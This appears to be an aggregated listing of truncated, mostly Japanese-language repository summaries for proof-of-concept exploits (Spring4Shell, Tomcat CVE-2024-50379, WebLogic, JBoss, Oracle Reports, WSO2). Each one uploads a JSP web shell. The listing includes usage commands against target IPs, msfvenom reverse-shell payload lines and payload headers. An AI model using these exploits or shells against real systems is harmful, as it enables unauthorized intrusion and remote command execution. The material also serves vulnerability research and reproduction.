CVE-2024-50379-POC

CVE-2024-50379-POC このリポジトリには、CVE-2024-50379 を悪用する Python スクリプトが含まれています。この脆弱性を利用すると、攻撃者は脆弱なサーバーに JSP シェルをアップロードし、リモートで任意のコマンドを実行できます。このエクスプロイトは、対象サーバーの /uploads ディレクトリが保護されていない、または存在しない場合に特に有用です。 概要 CVE-2024-50379 は、ファイルアップロードを適切に処理しないサーバーに影響を与える脆弱性であり、攻撃者が JSP...

CVE-2018-2628

CVE-2018-2628 WebLogic の逆シリアル化脆弱性再現 weblogic getshell python CVE-2018-2628-Getshell.py ip port shell1.jsp C:\Users\CTF\Desktoppython CVE-2018-2628-Getshell.py 10.10.20.166 7001 jason1.jsp / \ \ / / | | \ / / |/ \ | \ / /| \ / \ | | \ \ / /| | | | | || | | / / | | | | \ / / | |/ /| | | || | usage:...

Fast-CVE-2022-22965

標的マシン docker run -itd -p 80:8080 vulfocus/spring-core-rce-2022-03-29:latest リバースシェルは実質的にmsfvenomを参照しています msfvenom -p java/jspshellreversetcp LHOST=xxx LPORT=xxx -f raw -o shell.jsp jspをURLエンコードした後、次を使用します %3C%25替换 %25%7Bc2%7Di 代表 コードではサーバーの種類に応じてshellpathを変更する判定を行っています if...

CVE-2018-2380

CVE-2018-2380 CVSS v3 Base Score: 6.6/10 SAP NetWeaver AS JAVA CRM上のログインジェクションを介したリモートコマンド実行のPoC スクリプト使用例 python crmrce-CVE-2018-2380.py --host 127.0.0.1 --port 50001 --username administrator --password 123QWEasd --SID DM0 --ssl true ここで --host はSAPサーバーのIP --port SAP NetWeaver AS Javaのポート...

spring4shell-poc

Spring4Shell POC 脆弱性の説明: https://www.cyberkendra.com/2022/03/springshell-rce-0-day-vulnerability.html POCの構成: https://github.com/BobTheShoplifter/Spring4Shell-POC ビルド/実行手順 テスト環境: JDK 11.0.14、Spring Boot 2.6.5、Apache Tomcat 9.0.60 アプリケーションをビルドするには mvn clean package を実行 demo-0.0.1-SNAPSHOT.war を...

CVE-2009-2265

バージョン: ColdFusion 8.0.1 CVE-2009-2265 msfvenom -p java/jspshellreversetcp LHOST=10.10.14.12 LPORT=4444 -f raw shell.jsp python upload.py 10.10.10.11 8500 shell.jsp 例 :...

Spring4Shell-CVE-2022-22965-POC

Spring4Shell-CVE-2022-22965-POC ghost㿉uchiha:$ ./exploit.py --help usage: exploit.py -h -f FILENAME -p PASSWORD -d DIRECTORY url Spring4Shell RCE Proof of Concept positional arguments: url Target URL options: -h, --help show this help message and exit -f FILENAME, --filename FILENAME Name of the...

jboss-autopwn

jboss-autopwn BlackHat Europe 2010で紹介されたJBoss Autopwn - このバージョンは、Minded Securityによって発見されたJBoss認証バイパスVERB操作の脆弱性CVE-2010-0738を組み込んでいます C. Papathanasiou 2010 はじめに このJBossスクリプトは、対象のJBoss ASサーバーにJSPシェルをデプロイします。デプロイ後、スクリプトはアップロードおよびコマンド実行機能を使用して、対話型セッションを提供します。 特徴: マルチプラットフォーム対応 -...

CVE-2024-50379

手動での悪用は面倒なので、expをでっち上げました。。 使い方： shell.jspはシェルファイル、ggsl.jspはターゲットサーバーに保存する名前/パスです。 ./CVE-2024-50379 -u http://192.168.2.245:8080 -f shell.jsp -p ggsl.jsp 免責事項 本ツールは正規に許可された 企業のセキュリティ構築行為のみを対象としています。本ツールの可用性をテストする必要がある場合は、ご自身で標的環境を構築してください。...

CVE-2022-22965

CVE-2022-22965-POC CVE-2022-22965 spring-core一括検出スクリプト 声明：本スクリプトは学習目的のみで使用してください。不正使用は禁止です。悪意のある破壊行為や違法な使用があっても、当方とは一切関係ありません！！！ 使い方： python3 CVE-2022-22965-POC.py url.txt 書き込み成功後、シェルにアクセスします http://192.168.0.101:8090/test.jsp ここではシェルとして123のみを使用しており、トロイの木馬は使用していません。セキュリティ検査のみを目的としています。...

rwsploit

Oracle Reports rwservlet 扫描器 ⚠️ 仅限授权使用。只能在您拥有或获得明确书面许可的系统上运行此工具。未经授权使用是违法的。 针对 Oracle Reports Server（rwservlet）的定向利用扫描器，专门针对 CVE-2012-3152 和 CVE-2012-3153 ——影响低于 11g 的版本。自动完成检测、LFI 文件读取、SSRF 测试以及 JSP Shell 上传，支持单个 IP、CIDR 范围或目标列表。智能 TCP/HTTP 预过滤可即时跳过无响应主机，不浪费任何时间。 安装 git clone...

jboss-autopwn-1

jboss-autopwn JBoss AutopwnはBlackHat Europe 2010で紹介されたものです。このバージョンは、Minded Securityによって発見されたJBoss認証バイパスVERB操作の脆弱性CVE-2010-0738を組み込んでいます。 C. Papathanasiou 2010 はじめに このJBossスクリプトは、対象のJBoss ASサーバーにJSPシェルをデプロイします。デプロイ後、スクリプトはアップロード機能とコマンド実行機能を使用して、インタラクティブなセッションを提供します。 機能は次のとおりです。 マルチプラットフォーム対応 -...

CVE-2022-29464

WSO2 任意ファイルアップロードによるリモートコマンド実行 RCE https://docs.wso2.com/display/Security/Security+Advisory+WSO2-2021-1738 例 python3 exploit.py https://target.org:9443 shell.jsp...

Spring4Shell-POC

Spring4Shell-POC Spring4Shell 취약점 로컬 재현 과정 환경 준비 환경 docker, docker-compose mvn 패키징, ./target/ROOT.war 생성shell mvn package 서비스 시작shell docker-compose up -d 서비스 종료shell docker-compose down 재현 과정 스크립트 실행shell python3 spring-4-shell-exp.py --url "http://127.0.0.1:8080" 첫 번째 실행 두 번째 실행 실행 과정 ➜...

CVE-2024-50379

CVE-2024-50379 概念実証 PoC このリポジトリには、Apache Tomcat の脆弱性 CVE-2024-50379 を悪用するための概念実証 PoC スクリプトが含まれています。この脆弱性は、Time-of-Check Time-of-Use TOCTOU の競合状態であり、サーバーの設定で書き込み可能なディレクトリが許可されている場合、リモートコード実行 RCE につながる可能性があります。 機能 脆弱な Apache Tomcat サーバーに悪意のある JSP シェルをアップロードします。 アップロードされたシェルを介して任意のシステムコマンドを実行します。...

CVE-2022-22965

Spring Boot CVE-2022-22965 Spring Boot バージョン 2.6.5 における CVE-2022-22965 の Docker PoC 🚀 はじめに 1. https://github.com/itsecurityco/CVE-2022-22965/archive/refs/heads/master.zip から配布コードをダウンロードし、解凍します。 2. docker compose up --build を実行して、脆弱なアプリケーションをビルドし起動します。 3. 以下のコマンドを実行して Tomcat の設定バルブを変更します。 curl -H...

Spring4Shell

Spring RCE CVE-2022-22965 脆弱性環境 環境情報 springboot jdk11 tomcat9.0.30 payload リクエストヘッダー設定 "suffix": "%//", "c1": "Runtime", "c2": "%", "DNT": "1", "Content-Type": "application/x-www-form-urlencoded", リクエストボディデータ...

spring4shell-CVE-2022-22965

Simple Spring4Shell POC Check if endpoint is vulnerable python spring4shell.py -u http://192.168.110.117:8080/helloworld/greeting --check Exploit vulnerable endpoint python spring4shell.py -u http://192.168.110.117:8080/helloworld/greeting -f shell.jsp --exploit Execute command on uploaded webshe...

pwnacle-fusion

pwnacle-fusion Oracle Reports 用の自動エクスプロイト、CVE-2012-3153 / CVE-2012-3152 開示してくれた @misssudo にクレジット 使い方: ./pwnacle.rb targeturl payloadurl このエクスプロイトは両方の CVE を使用して、payloadurl から .jsp シェルをアップロードします。アップロードされたシェルは /reports/images/shell.jsp からアクセス可能になります。 payloadurl には .jsp...

jboss-autopwn

⚠️ 注記: このツールは現在アクティブにメンテナンスされていません。 JBoss Autopwn Script Christian G. Papathanasiou http://www.spiderlabs.com はじめに このJBossスクリプトは、対象のJBoss ASサーバーにJSPシェルを展開します。展開後、このスクリプトはアップロード機能とコマンド実行機能を使用して、インタラクティブなセッションを提供します。 機能は以下のとおりです: マルチプラットフォーム対応 - Windows、Linux、Macのターゲットでテスト済み...